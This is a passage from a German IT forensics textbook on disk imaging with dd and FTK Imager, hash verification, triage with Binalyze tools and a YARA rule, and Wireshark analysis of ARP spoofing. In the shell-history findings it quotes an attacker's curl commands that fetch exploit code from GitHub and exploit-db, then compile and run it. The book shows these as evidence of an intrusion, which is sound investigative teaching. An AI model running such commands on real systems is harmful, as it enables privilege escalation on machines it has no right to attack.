Bei Wechseldatenträgern bekommen Sie die oben gezeigte Fehlermeldung. Dies will ich nur der Vollständigkeit halber erwähnen. Bei den Systemplatten sollte dies nicht vorkommen. Sollten Sie allerdings einen Mac zum Klonen verwenden wollen dann bekommen Sie das Problem wie folgt gelöst: Marks-Mac-Pro:~ mark$ diskutil unmountDisk /dev/disk2 Unmount of all volumes on disk2 was successful
Dann können wir die Platte klonen: Marks-Mac-Pro:~ mark$ sudo dd if=/dev/disk2 of=~/disk2.img
60
Hierbei steht /dev/disk2 für den ganzen Datenträger und /dev/disk2s1 würde dann den Slize 1, also die erste Partition, bedeuten. So könnte man auch einzelne logische Datenträger klonen. if steht hierbei für Input-File und of für Output-File. In diesem Fall schreiben wir also die Kopie der Platte in die Datei ds.img im Benutzer-Verzeichnis (~).
Dies wäre in dem Fall ein RAW-Image. Wenn wir während des Prozesses Ctrl +
T drücken, erhalten wir folgende Ausgabe:
^T load: 2.62 cmd: dd 60642 uninterruptible 0.03u 0.75s 48776+0 records in 48776+0 records out 24973312 bytes transferred in 4.784076 secs (5220091 bytes/sec)
So können wir den aktuellen Fortschritt prüfen denn dd erzeugt keinerlei Ausgabe solange das Programm läuft. 1995264+0 records in 1995264+0 records out 1021575168 bytes transferred in 194.703102 secs (5246836 bytes/sec)
Wenn dd fertig, ist erhalten wir die oben gezeigte Ausgabe und den Prompt um einen weiteren Befehl einzugeben. Jetzt fehlt uns noch die MD5-Summe zur späteren Verifizierung. Diese errechnen wir wie folgt: Marks-Mac-Pro:~ mark$ md5 ~/disk2.img MD5 (/Volumes/UserDaten/mark/disk2.img) = fb448e6b769d0137a9302ba329333104
Natürlich könnten wir die Ausgabe auch gleich in eine Datei umleiten: Marks-Mac-Pro:~ mark$ md5 ~/disk2.img > ~/disk2.md5
Damit erhalten wir keine Ausgabe auf dem Terminal mehr denn diese wird in die Datei disk2.md5 geschrieben. Unter Linux funktioniert dies fast gleich: mark@ubuntu:~$ lsblk -a NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT loop0 7:0 0 75,3M 1 loop /snap/hexchat/42 ... 61
loop29 sda └─sda1 sdb └─sdb1 sdd nvme0n1 ├─nvme0n1p1 ├─nvme0n1p2 ├─nvme0n1p5 └─nvme0n1p6
7:29 8:0 8:1 8:16 8:17 8:48 259:0 259:1 259:2 259:3 259:4
0 0 1,8T 0 1,8T 0 1,8T 0 1,8T 1 974,3M 0 465,8G 0 93,1G 0 0 14,9G 0 357,7G
0 0 0 0 0 0 0 0 0 0 0
loop disk part disk part disk disk part part part part
/FILESERVER /BACKUP /media/mark/OSFCLONE / [SWAP] /home
Der Befehl lsblk -a listet alle Blockgeräte auf und hier erwartet uns ein ähnliches Namensschema. sda - sdX sind die SATA- und USB-Datenträger und die Ziffer danach wäre die Partition. Mit sda könnten wir also die ganze 2TB Platte klonen und mit sda1 nur die ext4 Partition. Bei den NVMe-Geräten wäre nvme0n1 die ganze SSD und nvme0n1p6 die /home Partition. Mit diesem Wissen können wir nun wieder den dd Befehl nutzen: mark@ubuntu:~$ sudo dd if=/dev/sdd of=~/sdd.img status=progress [sudo] Passwort für mark: 235127296 Bytes (235 MB, 224 MiB) kopiert, 11 s, 21,4 MB/
Diese Variante von dd erlaubt es uns den Fortschritt direkt zu verfolgen. Die Optionen sollten mittlerweile klar sein. Nachdem dd fertig ist, erhalten wir wieder die folgende Meldung: 1995264+0 Datensätze ein 1995264+0 Datensätze aus 1021575168 Bytes (1,0 GB, 974 MiB) kopiert, 47,7778 s, 21,4 MB/s
Dann können wir die md5-Summe errechnen: mark@ubuntu:~$ md5sum ~/sdd.img be7b6393e166fdb39940c94936571ce1
/home/mark/sdd.img
Wie Ihnen vielleicht auffällt, stimmt die MD5-Summe nicht mit der vom Mac überein da ich zwischenzeitig etwas auf dem USB-Stick verändert habe. Überprüfen könnten Sie ein Image wie folgt: 62
mark@ubuntu:~$ md5sum ~/sdd.img > ~/sdd.md5 mark@ubuntu:~$ sudo md5sum /dev/sdd >> ~/sdd.md5 mark@ubuntu:~$ cat ~/sdd.md5 be7b6393e166fdb39940c94936571ce1 /home/mark/sdd.img be7b6393e166fdb39940c94936571ce1 /dev/sdd
Zuerst überschreiben wir den Inhalt von ~/sdd.md5 mit der Ausgabe der MD5Summe von der Image-Datei und dann fügen wir mit >> die MD5-Summe von der Blockdatei hinzu. Das ist möglich da unter Linux und Unix (OS X ist auch ein Unix-System) alles eine Datei ist. So können wir den USB-Stick lesen oder beschreiben indem wir einfach auf /dev/sdd zugreifen. cat gibt dann den Dateiinhalt aus und wir können direkt sehen, wenn hier etwas
nicht stimmt. Genau das gleiche erreichen wir am Mac wenn wir die MD5Summe von /dev/disk2 berechnen. Ist nur ein einziges Byte unterschiedlich, dann ist auch die MD5-Summe eine völlig andere. Wenn Sie dann alle Analysen auf einer falschen Datei machen oder auch nur die Verifikation nicht durchführen kann man jedes Ergebnis in Zweifel ziehen. Bei einem Live Image ist dies aber nicht durchführbar denn auf der Platte wird laufend gearbeitet und die Verifikation wird niemals stimmen. Das müssen Sie auch beim FTK Imager bedenken. Die Zeit für die Verifikation können Sie sich sparen aber dies müssen Sie in der Dokumentation unbedingt vermerken! Denn die Erklärung warum dieses Image nicht verifiziert wurde bzw. nicht verifiziert werden konnte werden Sie dann eventuelle erst nach 1,5 Jahren vor Gericht liefern müssen und ob Sie sich dann noch so genau daran erinnern ist fraglich. Daher muss die Dokumentation der einzelnen Vorgänge auch wirklich genau und vollständig sein. Andernfalls zieht man aufgrund eines solchen fehlenden Details eventuell Ihre ganze Arbeit in Frage.
63
Logisches Sichern von einzelnen Dateien Bei einer sogenannten Sparse- oder Logical-Acquisition werden nur einzelne Dateien gesichert. Das kann dann Sinn machen, wenn es zB nur um E-Mails geht und wir daher nur die PST-Datei von Outlook brauchen oder wenn wir auf einem Shared Server oder in der Cloud Daten erfassen. In diesen Fällen brauchen wir die anderen Dateien nicht oder wir haben nicht das Recht diese zu sichern, weil die restlichen Daten zB anderen Usern gehören die mit dem konkreten Fall nichts zu tun haben. Das wichtigste ist in diesem Fall ein vorgehen, dass der forensischen Arbeitsweise genügt und von einem anderen IT-Forensiker auch nachvollzogen werden kann. Nicht für jeden Fall gibt es hierbei die passenden Tools und daher kann man auch einfach vorhandene Werkzeuge nutzen oder deren Arbeitsweise bestmöglich nachbilden. Hierbei ist die genaue Dokumentation dann umso wichtiger! Zunächst wollen wir uns wieder FTK Imager unter Windows ansehen:
Wenn wir File -> Create Disk Image aufrufen haben wir ebenfalls die Option den Inhalt eines bestimmten Ordners zu sichern.
64
Hierbei werden wir dann gewarnt, dass keine gelöschten Dateien, freier Speicherplatz oder Dateisystem Metadaten gesichert werden. Sobald wir diese Warnung bestätigen, können wir den gewünschten Ordner auswählen:
Dann können wir die nötigen Fallinformationen für das AD1 Image erfassen:
65
und die Dateien erfassen:
Später können wir in FTK Imager den Menüpunkt File -> Add Evidence Item verwenden um die AD1 Datei zu laden. Zuerst müssen wir den Typ Image File auswählen:
66
Dann das AD1 Image auswählen:
Und dann können wir FTK Imager verwenden um den Fall zu untersuchen:
67
Hierbei haben wir nur eine sehr beschränkte Auswahl an Tools wie einen Dateibrowser und einen Hex-Viewer zur Verfügung was aber für viele Fälle reicht da wir die Dateien Exportieren können um diese mit weiteren Tools zu untersuchen. Alternativ können wir File -> Image Mounting nutzen um das Image als ReadOnly Datenträger im Windows einzuhängen. Danach können Sie mit jedem Tool Ihrer Wahl die Untersuchung durchführen. Sehr interessante Tools die sich nur auf die Akquise von bestimmten Artefakten konzentriert sind Acquire bzw. die kostenpflichtige Variante davon namens Tactical von Binalyze. Die Tools von Binalyze sind mit Kosten von weit unter 100 USD / Rechner der untersucht wird nicht nur preislich für viele Untersuchungen interessant. AIR von Binalyze bietet die Möglichkeit der Remote-Akquise und Auswertung von vielen verschiedenen Artefakten wie RAM-Dumps, Browserdaten, Eventlogs und vielem mehr ohne die ganze Platte zu klonen. Die Idee dahinter ist, dass für viele Untersuchungen ein Image der Festplatten nicht nötig ist denn in vielen Fällen sind zB Userdaten irrelevant. Wenn es darum geht viele Rechner zu untersuchen wie zB nach einem Cyberangriff kann dieser Ansatz sehr viel Zeit sparen um einen Überblick zu erhalten. 68
Sehen wir uns zunächst ACQUIRE an bevor wir mit Air eine kleine Untersuchung durchführen. Zuerst müssen Sie das Tool unter https://binalyze.com/acquire/ herunterladen. Wenn Sie das Tool starten, sehen Sie folgendes Fenster:
Wenn Sie auf Custom Content oben links klicken, dann haben Sie die Möglichkeit neben den vordefinierten Artefakten auch eigene Ordner und Dateien auszuwählen.
69
Hierbei ist auch das Verwenden von Wildcards wie * erlaubt um zB mit Users\* die Userverzeichnisse aller Benutzer zu sichern. Wenn Sie die gewünschten Artefakte ausgewählt haben und dann das Ausgabe-Verzeichnis im Hauptfenster festgelegt haben, können Sie das Erfassen starten.
70
Da nur bestimmte Daten kopiert werden, dauert dieser Prozess nur wenige Minuten. Sobald dies abgeschlossen ist, sehen Sie folgendes Fenster:
Die gesammelten Daten sind hierbei vor den Zugriff von zB Malware geschützt solange bis Sie den HTML-Report anzeigen lassen oder den Schutz manuell aufheben. Der HTML-Report erlaubt es Ergebnisse zu filtern und ist schon für eine erste grobe Übersicht hilfreich:
71
Als nächstes wollen wir uns ansehen wie wir bestimmte Ordner und Dateien auf einem Linux- oder OS X System sichern. Obwohl TACTICAL, AIR und ACQUIRE auch unter Linux arbeiten wollen wir uns hier eine manuelle Methode ansehen: root@ubuntuserver:~# du -sm /var/log 3052 /var/log
Zuerst prüfen wir mit du wie viel Speicher wie benötigen. root@ubuntuserver:~# fallocate -l 4G var_log.img
Dann können wir mit fallocate eine Datei erstellen, die groß genug ist die Daten und Dateisystem-Metadaten aufzunehmen. root@ubuntuserver:~# mkfs.ext4 var_log.img mke2fs 1.44.1 (24-Mar-2018) Geräteblöcke werden verworfen: erledigt Ein Dateisystem mit 1048576 (4k) Blöcken und 262144 Inodes wird erzeugt. UUID des Dateisystems: 4da8c45e-8ee9-42b3-8553-7314e1986aa2 Superblock-Sicherungskopien gespeichert in den Blöcken: 32768, 98304, 163840, 229376, 294912, 819200, 884736 beim Anfordern von Speicher für die Gruppentabellen: erledigt Inode-Tabellen werden geschrieben: erledigt Das Journal (16384 Blöcke) wird angelegt: fertig Die Superblöcke und die Informationen über die Dateisystemnutzung werden geschrieben: erledigt
Dann können wir auf dieser Datei das gleiche Dateisystem anlegen wie auf dem Originaldatenträger. Falls Sie nicht sicher sind welches Dateisystem der Originaldatenträger hat, hilft Ihnen zB der Befehl mount ohne weitere Parameter. root@ubuntuserver:~# mount var_log.img /mnt/
Sobald das Dateisystem erstellt ist, können wir dies einhängen. root@ubuntuserver:~# rsync -a /var/log/ /mnt/
Danach hilft uns rsync -a dabei die Daten zu kopieren. Die Option -a (Archive) sorgt dafür, dass rekursiv alle Daten kopiert werden und dabei Symlinks, Berechtigungen, User- und Gruppen, Zeitstempel sowie Gerätedateien und andere spezielle Dateien erhalten werden.
72
root@ubuntuserver:~# root@ubuntuserver:~# root@ubuntuserver:~# root@ubuntuserver:~#
echo -n "MD5: " > var_log.img.txt md5sum var_log.img >> var_log.img.txt echo -n "SHA1: " >> var_log.img.txt sha1sum var_log.img >> var_log.img.txt
Danach können wir die MD5- und SHA1-Summe bilden und diese in einer Textdatei speichern. root@ubuntuserver:~# cat var_log.img.txt MD5: 60178becc23942e2a739ad5bceb15d36 var_log.img SHA1: c962dfa4f296f9c35f857d0313c5c65f38d8bc9b var_log.img
Dieser Prozess muss auf jeden Fall logisch und nachvollziehbar dokumentiert werden, damit ein anderer IT-Forensiker Ihr Vorgehen und die Ergebnisse nachvollziehen und überprüfen kann. Es wäre auch ratsam die MD5-Summen jeder einzelnen Datei zu errechnen und diese in einer Datei zu speichern und nicht nur wie hier gezeigt die MD5-Summen des Images. Dazu können wir eine for-Schleife verwenden: root@ubuntuserver:~# for i in `find /var/log/ -iname "*"`; do md5sum $i >> /mnt/md5sums.txt; done;
Damit errechnen wir die MD5-Summen jeder Datei und speichern diese in die Datei md5sums.txt.
73
Schnelle Analyse mit Binalyze AIR Eine von Binalyze selbst als "Enterprise Forensik" bezeichnete Art der SparseAkquise ist mit AIR möglich. Dieses Tool erlaubt es von einem zentralen Server, der als Console bezeichnet wird, sogenannte Endpoints zu verwalten und darauf nach bestimmten Mustern zu suchen (Triage) oder eine bestimmte Auswahl von Artefakten zu sammeln. So kann man sich in einem größeren Netzwerk nach einem Angriff schnell einen Überblick verschaffen und dann entscheiden welche Rechner dann genauer untersucht werden müssen. Außerdem kann AIR an ein SIEM-System (Security Information and Management) angebunden werden und im Falle eines Alarms automatisch die Akquise durchführen umso dem Vernichten von möglichen Beweisen durch den Angreifer zuvorzukommen. Weiters ist dieses System sehr gut geeignet um die Einhaltung von Sicherheitsund Firmenrichtlinien zu überprüfen. Für Dienstleister im Forensik-Bereich gibt es die Möglichkeit eine begrenzte Lizenz für einen Fall zu erwerben die mit weit unter 100 EUR / Endpoint und einem Maximum pro Untersuchung von weniger als 2.000 EUR sehr erschwinglich ist. Das macht dieses Tool gleichermaßen für die IT-Abteilung von Firmen wie für Dienstleister interessant! Sobald die Console auf einem Rechner installiert ist muss die Lizenz aktiviert und ein User angelegt werden. Außerdem definieren wir die IP zu der sich die Endpoints verbinden. Soll eine Remote-Akquise durchgeführt werden, müssen wir die öffentliche IP eintragen und am Router die entsprechenden Ports freigeben. Nachdem dies geschehen ist können wir uns als dieser User anmelden und die Endpoints hinzufügen indem wir von den Endpoints aus die URL http://[CONSOLE-IP]/#/deploy
aufrufen oder dem Endpoint die entsprechende Datei zur Verfügung stellen. Danach sollten wir folgendes Fenster sehen:
74
Da ich hier als Beispiel die VM von OWASPBWA verwende, da diese bereits einige Hacking-Angriffe aus vorherigen Büchern geloggt hatte, nutze ich hier den Debian-Agent (Client). Bei dieser alten Ubuntu-Version musste ich zwei Dinge vorbereiten damit das Tool funktionierte: root@owaspbwa:~# cp /etc/debian_version /etc/debian-release root@owaspbwa:~# dpkg -i libc6_2.17-0ubuntu5.1_i386.deb
Die Datei libc6_2.17-0ubuntu5.1_i386.deb habe ich von http://launchpadlibrarian.net/151932048/libc6_2.17-0ubuntu5.1_i386.deb heruntergeladen. Bei moderneren Linux-Versionen sollte alles sofort laufen. Sobald der Agent installiert ist, sollten wir im Dashboard auf der Console folgendes sehen:
75
Yara Die Suche nach Mustern erfolgt mit Hilfe von https://virustotal.github.io/yara/ ( ). Dies ermöglicht es selber sehr mächtige und auch flexible Suchfilter zu schreiben und bietet gleichzeitig den Zugriff auf tausende Filterregeln aus dem Internet.
Um eine eigene Regel anzulegen habe ich dem Punkt Triage aufgerufen, dann die Filterregeln von core.webshell_detection kopiert und um folgende Regel ergänzt: rule sypps { meta: author = "Mark B." strings: $str1 = "SYPPS" $str2 = "sypps" condition: ($str1 or $str2) }
Obwohl die Regel selbsterklärend sein sollte will ich sie dennoch kurz erklären. Eine Regel wird mit rule gefolgt von einem frei definierbaren Namen (hier sypps) eingeleitet und in { } gefasst. Unter Meta können wir diverse Metadaten wie Autor, Version, Beschreibung, etc. anlegen. In strings können dann variablen (hier $str1 und $str2) definiert werden. Weiters wäre es auch möglich Hexadezimale Werte zu definieren. Mit 76
$mz = { 4D 5A }
würden wir zB die Magic-Number von PE bzw. Windows EXE- und DLL-Dateien definieren. Unter condition schreiben wir dann einen booleschen Ausdruck mit dem dann ein Mustervergleich durchgeführt wird. Hierbei würde also jede Datei die entweder sypps oder SYPPS enthält erkannt. Um falsch positive Treffer zu vermeiden könnte man die Logik der Regel noch verfeinern aber das soll an dieser Stelle für die Demonstration von Yara reichen. Nachdem wir die Regel eingefügt, einen Namen vergeben und festgelegt haben ob diese auf Dateien, RAM-Speicher oder beides angewendet werden sollten, können wir sie speichern. Wenn dies klappt, sollten wir folgendes sehen:
Dann können wir wieder zum Dashboard wechseln, den Endpoint auswählen und es öffnet sich eine Liste mit folgenden Optionen:
77
Hier können wir nun direkt nach bestimmten Mustern suchen (Triage) oder die diversen Artefakte sammeln. Klicken wir zuerst auf den Triage-Button:
Dann vergeben wir einen Namen für den Task und wählen die abzuarbeitenden Regeln aus. 78
Danach sollten wir in den Tasks folgende Zeile sehen:
Sobald der Task beendet wurde, sehen wir einen View-Link mit dem wir zum Abschluss-Bericht gelangen. Dieser Vorgang dauerte bei meinem Versuch etwas weniger als 10 Minuten und lieferte folgende Ergebnisse:
Neben den Dateien von SYPPS und diversen obfuskierten Dateien die von anderen Regeln gefunden wurden, fanden sich auch Einträge von Cookies in LogDateien und Artefakte der Bearbeitung dieser Datei mit VIM. So können Sie ein ganzes Netzwerk in kürzester Zeit nach bekannten Bedrohungen absuchen. DRONE geht dabei noch einen Schritt weiter... Als nächstes wollen wir uns die Akquise ansehen. Wählen Sie dazu wieder den Endpoint im Dashboard aus und klicken Sie nun auf den Acquire-Button:
79
Zunächst wählen wir das Full-Profil aus um alle Artefakte zu sammeln. Danach können wir einen Namen für den Task vergeben und festlegen wo die Daten gespeichert werden sollten. Wir können diese gleich auf die Forensik-Workstation mit der Option Evidence Repository übertragen lassen aber da Linux-Agents in dieser Version die Daten
nicht auf einem Samba-Share (Windows-Freigabe) ablegen können, habe ich diesen manuell unter /mnt gemountet.
Neben der Samba-Option könnten wir auch einen SFTP-Server oder Amazon S3 Bucket oder Azure Blob verwenden.
80
Das Erfassen der Artefakte dauerte nicht einmal eine Minute:
Wenn wir nun den Bericht öffnen und den Punkt Shell History aufrufen, sehen wir Folgendes:
81
Einträge wie curl https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/ master/linux-exploit-suggester.sh > linsploit.sh bash linsploit.sh curl http://www.exploit-db.com/download/17787 > half_nelson.c gcc half_nelson.c -o half_nelson -lrt
lassen nichts Gutes vermuten! Auf diese Weise sparen wir uns sehr viel Zeit die wir bei einem herkömmlichen Ansatz mit dem Erstellen eines binären Images verbringen würden. Natürlich kann man die gesammelten Daten mit weiteren Tools untersuchen und genau das werden wir mit den Apache-Logdateien im Kapitel "Volltextsuche und reguläre Ausdrücke" auch machen. DRONE ist derzeit nur für Windows verfügbar aber der Hersteller arbeitet derzeit an der Integration in AIR und danach am Ausbau der Funktionalität um auch Linux zu unterstützen. Das Tool kann von einem USB-Stick gestartet werden und ist so einfach wie nützlich um eine größere Anzahl von Systemen schnell zu prüfen:
82
83
Wenn Sie das Tool starten, öffnet sich der Browser und zeigt Ihnen diese Webseite. Sie können wahlweise alle Module im Auto Pilot laufen lassen oder selber die gewünschten Module auswählen sobald Sie den Auto Pilot deaktiviert haben. Sobald Sie auf Start Mission klicken, werden die Module abgearbeitet und binnen weniger Minuten erhalten Sie eine Liste der Auffälligkeiten.
Gleichzeitig wird im Ordner Cases ein Unterordner für die aktuelle Akquise erstellt und mit Hilfe eines Tools namens IREC (Insident Response Evidence Collector) werden einige Artefakte gesammelt und in einem separaten Bericht gepackt:
So lassen sich eine größere Anzahl an Systemen in kürzester Zeit grob überblicken und herausfiltern welche Systeme man genauer untersuchen sollte.
84
Für viele Untersuchungen sind diese Tools nicht nur eine Möglichkeit um einen Überblick zu bekommen, sondern alles was man an Daten benötigt. Man muss natürlich sichergehen, dass man keine weiteren Daten benötigt oder zur Sicherheit die Datenträger der Systeme mit Auffälligkeiten klonen für den Fall, dass man diese irgendwann doch brauchen würde. Auch wenn man meint, keine weiteren Daten zu benötigen, ist es von Vorteil, wenn ein Fall vor Gericht landet alle Daten zu haben. Wenn die Gegenseite behaupten sollte, dass man entlastende Beweise in den nicht untersuchten Daten übersehen hat ist es wichtig zumindest ein Image der gesamten Daten zu haben. Daher empfehle ich Ihnen, auch wenn Sie die Daten nicht untersuchen oder glauben diese nicht zu benötigen, ein vollständiges Image anzufertigen, wenn Sie die Möglichkeit und Berechtigung dazu haben und sei es nur um auf Nummer sicher zu gehen! Ein ähnliches Produkt wird von der Firma Belkasoft unter dem Namen Belkasoft T bzw. Belkasoft Triage vertrieben. Belkasoft X bzw. Belkasoft Evidence Center X, die Analyse-Software dieses Herstellers, kann auf einem Image einen derartigen schneller Triage-Scan ausführen um einen schnellen Überblick zu bekommen was in vielen Fällen auch sehr interessant sein kann.
Belkasoft will mit T in künftigen Versionen Mac OS X unterstützen und danach sollte auch Linux-Support hinzugefügt werden.
85
Netzwerkverkehr aufzeichnen Eine weitere Stelle an der wir wichtige Informationen finden können ist der Netzwerkverkehr. Hier können wir sehen welche Computer miteinander kommunizieren, auf welche externen IP-Adressen diese zugreifen und welche Protokolle verwendet werden, etc. Theoretisch ist es zwar möglich die Pakete direkt auf dem Rechner aufzuzeichnen den wir untersuchen aber praktisch müssen wir dazu wieder Software Installieren oder zumindest darauf ausführen. Daher ist es in der Regel zu bevorzugen die Pakete am Router oder mit einem MITM-Gerät wie dem PacketSquirrel aufzuzeichnen. Hier könnte man die Tools tcpdump oder tshark (siehe nächstes Kapitel) verwenden oder einen Anschluss man Router spiegeln, wenn dieser das unterstützt. Der Aufzeichnungsvorgang an einem laufenden System ist mit Wireshark nicht besonders aufwendig. Wenn Sie das Programm starten, sehen Sie folgendes Fenster:
86
Danach klicken Sie auf das Flossen-Symbol oben links und wählen Sie das Netzwerkinterface aus auf dem die Pakete abgefangen werden sollen. Sie können auch bereits hier Filter definieren damit nicht zu viele Pakete abgefangen werden denn die Datenmenge kann hierbei schnell explodieren. Sofern man sicher ist, dass man nur bestimmte Pakete oder nur Pakete von bestimmten Rechnern benötigt sollte man die Aufzeichnung darauf beschränken. Wenn die Rechner per WLAN und nicht per Kabel kommunizieren, können Sie den Netzwerkverkehr auch mit Ihrem Rechner aufzeichnen. Wenn Sie das WLAN-Passwort haben und einen WPA-Handshake aufzeichnen, können Sie die Pakete entschlüsseln. Die Strategie wo und mit welchen Mitteln Sie die Daten aufzeichnen müssen Sie natürlich dem Netzwerkaufbau, der zu klärenden Fragestellung und dem rechtlichen Rahmen anpassen. Damit wir von gleichen sprechen, werden wir uns nun ein praktisches Beispiel ansehen. Dazu laden wir folgende Datei herunter: https://github.com/chrissanders/packets/blob/master/arppoison.pcapng
Nehmen wir an, wir untersuchen ein Firmennetzwerk und verdächtigen einen Mitarbeiter, dass dieser mit ARP-Spoofing versucht Passwörter zu stehlen. APRSpoofing, auch ARP-Poisoning genannt, ist eine Technik mit der ein Opfer veranlasst werden kann den Rechner des Angreifers als Gateway zu benutzen und den gesamten Netzwerkverkehr über diesen Rechner zu leiten. Ein Angreifer könnte dann DNS-Anfragen manipulieren oder Formulareingaben in ungesicherte Webseiten abfangen, usw. Das ARP (Address Resolution Protokoll) wird dazu verwendet um zu einer IPAdresse die passende MAC-Adresse zu ermitteln. Dazu fragt der Rechner, der eine MAC-Adresse ermitteln will, über einen Broadcast (Nachricht an alle) welcher PC die gesuchte IP hat. In der Regel antwortet der gesuchte Rechner und nennt seine MAC-Adresse. Beim ARP-Poisoning wird das Opfer ungefragt mit Antworten bombardiert um schneller als der eigentlich gesuchte Rechner zu antworten. Als erstes können wir uns die Endpunkte ansehen um einen Überblick über die IP-Adressen in den Paketen zu erhalten.
87
Wenn wir zum Ende der Aufzeichnung scrollen, fällt uns auf, dass wir 165 Pakete in 15 Sekunden (die Spalte Time gibt die Zeitdifferenz zum ersten Paket an) aufgezeichnet haben. Das wären in dem Fall 660 Pakete pro Minute und 39.600 Pakete pro Stunde! Bedenken Sie auch, dass diese Pakete wie Zwiebeln sind und die Pakete der einzelnen Netzwerkschichten ineinanderstecken. Wir haben hier also die 3- bis 5-fache Menge an Datensätzen wenn wie die einzelnen Schichten auftrennen und untersuchen. Verstehen Sie nun warum das Filtern von Paketen bei der Aufzeichnung wichtig ist? Hier haben wir es auch nur mit 3 Endpunkten zu tun - rechnen Sie sich selber aus wie viel Daten wir erhalten, wenn wir die Aufzeichnung des Netzwerkverkehrs in einer Firma mit 20 Rechnern über Stunden laufen lassen! Da wir ARP-Spoofing vermuten können wir gleich die ARP-Pakete filtern indem wir als Filter arp schreiben:
In der oberen Liste sehen Sie dann die Pakete, in der Mitte können Sie die einzelnen Protokolle in lesbarer form betrachten und am Ende sehen Sie eine Darstellung im HEX-Format:
88
Damit erhalten wir eine Übersicht der Pakete und eine kurze Zusammenfassung, die ich unten nochmals größer abgedruckt darstelle: 54
4.646389
HP_bf:91:ee
Dell_c0:56:f0
ARP 60
Who has 172.16.0.107? Tell
172.16.0.1 55
4.646442
Dell_c0:56:f0
HP_bf:91:ee
ARP 42
56
4.646455
HP_bf:91:ee
Dell_c0:56:f0
ARP 60
165 14.392559
HP_bf:91:ee
Broadcast
172.16.0.107 is at 00:21:70:c0:56:f0 172.16.0.1 is at 00:25:b3:bf:91:ee ARP 60
Who has 172.16.0.1? Tell
172.16.0.105
Aus Platzgründen habe ich HewlettP_bf:91:ee auf HP_bf:91:ee abgekürzt. Die Ermittlung des Herstellers ist möglich da die MAC-Adresse aus zwei Teilen besteht - der Vendor-ID und der Produkt-ID. In diesem Fall ist es sehr praktisch für uns, dass Wireshark diese auswertet. Wenn sie übrigens eine Zeile mit rechts anklicken und unter Kopieren den Punkt Zusammenfassung als Text wählen, erhalten Sie jeweils eine der oben abgedruckten Zeilen. Ich bevorzuge dies in Berichten da es viel kompakter ist als dutzende Screenshots und meist schärfer zu lesen als die gerasterte Schrift aus einem Screenshot. Versuchen wir also zu verstehen was passiert ist: Zuerst sendet der HP- an den Dell-Rechner die Frage "Who has 172.16.0.107? Tell 172.16.0.1". Das ist schon mal nicht der übliche Fall denn in der Regel 89
sollten diese Fragen an die Broadcast-Adresse gehen. In Paket 56 schickt der HP and den Dell dann "172.16.0.1 is at 00:25:b3:bf:91:ee". Er bestätigt also, dass er der Rechner mit der IP 172.16.0.1 ist. Im letzten ARP-Paket fragt der HP-Rechner selber: "Who has 172.16.0.1? Tell 172.16.0.105". Das legt nahe, dass der PC von HP eigentlich die IP 172.16.0.105 haben sollte. Das ist schon mal die erste Warnlampe die angehen sollte. Aber wir sollen als ITForensiker die einzelnen Sachverhalte mit Gegenproben absichern. Also Filtern wir nach ip.addr == 172.16.0.105 und ip.addr == 172.16.0.1. Leider bringen beide Suchen kein Ergebnis. In einem realen Fall sollten wir definitiv wissen welches Gerät welche Funktion hat und oftmals haben wir auch einen Plan des Netzwerks und raten nicht nur herum wie hier. Der Filter ip.addr liefert übrigens alle Pakete deren Quelle (ip.src) oder Ziel (ip.dst) der gesuchten IP entspricht. Diese Datei ist auch ein gutes Beispiel für einen zu restriktiv gesetzten Filter bei der Aufzeichnung. Es ist ein schmaler Grat zwischen zu restriktiven und zu groben Filtern. Nachdem wir nun vermuten, dass das ARP-Spoofing bei Paket 54-56 stattgefunden hat sehen wir uns an wie das vermeintliche Opfer (172.16.0.107) sich davor und danach verhält. Dazu filtern wir mit ip.src == 172.16.0.107 alle Pakete die von dem Opfer gesendet wurden. Paket 52 sieht wie folgt aus: Frame 52: 77 bytes on wire (616 bits), 77 bytes captured (616 bits) on interface 0 Ethernet II, Src: Dell_c0:56:f0 (00:21:70:c0:56:f0), Dst: Cisco_31:07:33 (00:26:0b:31:07:33) Internet Protocol Version 4, Src: 172.16.0.107, Dst: 12.153.20.41 User Datagram Protocol, Src Port: 39607, Dst Port: 53 Domain Name System (query)
Wir
sehen also, dass dieses Paket and das Ziel Cisco_31:07:33 (00:26:0b:31:07:33) gesendet wird. Da ARP-Spoofing auf dem Ethernet-Layer arbeitet interessiert uns auch nur dieser im Moment.
Frame 57: 960 bytes on wire (7680 bits), 960 bytes captured (7680 bits) on interface 0 Ethernet II, Src: Dell_c0:56:f0 (00:21:70:c0:56:f0), Dst: HewlettP_bf:91:ee (00:25:b3:bf:91:ee) 90
Internet Protocol Version 4, Src: 172.16.0.107, Dst: 74.125.95.147 Transmission Control Protocol, Src Port: 45691, Dst Port: 80, Seq: 1470, Ack: 6471, Len: 894 Hypertext Transfer Protocol
Hier geht nun das Paket über den Rechner HewlettP_bf:91:ee (00:25:b3:bf:91:ee). Da wir in beiden Fällen eine externe IP ansprechen (Dst: 12.153.20.41 bei der DNS-Anfrage und Dst: 74.125.95.147 bei dem HTTP-Paket) müssen diese über das sogenannte Gateway versendet werden, denn dies ist quasi das Tor zum Internet und allen anderen externen Netzwerken. Wir sehen also, dass bis zum Paket 52 der Rechner Cisco_31:07:33 als Gateway verwendet wurde und nach den suspekten Paketen von HewlettP_bf:91:ee wurde der HP-Rechner als Gateway benutzt. Das ist nicht nur ein Beispiel wie wir Netzwerkverkehr analysieren sondern auch ein Beispiel dafür wie wir dies in einem Gutachten erklären könnten und wie wir eine Gegenprobe zur Bestätigung einer Annahme durchführen. Wir haben also einerseits die Pakete, die suspekt sind und andererseits das Verhalten das Opfer-PC, dass sich nach diesen Paketen ändert. Wenn Sie im mittleren Bereich mit rechts auf den Text klicken und dann Kopieren und dann Alle sichtbaren Elemente auswählen erhalten Sie die oben gezeigten Texte für Ihre Berichte. Eine mögliche Behauptung des Verdächtigen bleibt aber noch. Man könnte behaupten, dass dies ein zufälliger Fehler war und das Paket zufällig so beschädigt wurde, dass diese falsche Antwort entstand. Wir haben in dem Fall keine tausenden Antwortpakete um dies zu entkräften also können wir uns einen anderen Weg suchen. Wenn Sie das Paket 57 mit rechts anklicken und dann unter Folgen den Punkt TCP Stream auswählen, öffnet sich ein weiteres Fenster in dem Sie die gesamte Kommunikation die zu einem Paket gehört verfolgen können. Dies ist sehr nützlich, da Antwortpakete aufgrund von Verarbeitungs-Zeiten auf Servern nicht direkt danach in der Paketliste stehen. Dieses Fenster zeigt uns nun folgendes: GET / HTTP/1.1 Host: www.google.com 91
